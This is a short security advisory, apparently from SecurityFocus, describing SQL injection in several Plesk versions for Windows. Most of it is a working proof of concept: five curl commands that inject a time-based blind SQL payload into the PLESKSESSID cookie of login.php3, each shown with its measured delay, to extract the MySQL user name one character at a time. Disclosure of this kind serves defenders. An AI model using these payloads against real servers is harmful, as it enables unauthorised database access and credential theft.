source: https://www.securityfocus.com/bid/25646/info

Plesk is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in SQL queries.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Plesk 7.6.1, 8.1.0, 8.1.1, and 8.2.0 for Microsoft Windows are vulnerable; other versions running on different platforms may also be affected. 

1) Delay=5224.3877
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,1,1)=char(97),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

2) Delay=5165.3031
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,2,1)=char(100),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

3) Delay=5158.9512
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,3,1)=char(109),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

4) Delay=5224.0980
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,4,1)=char(105),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

5) Delay=5241.5251
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,5,1)=char(110),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"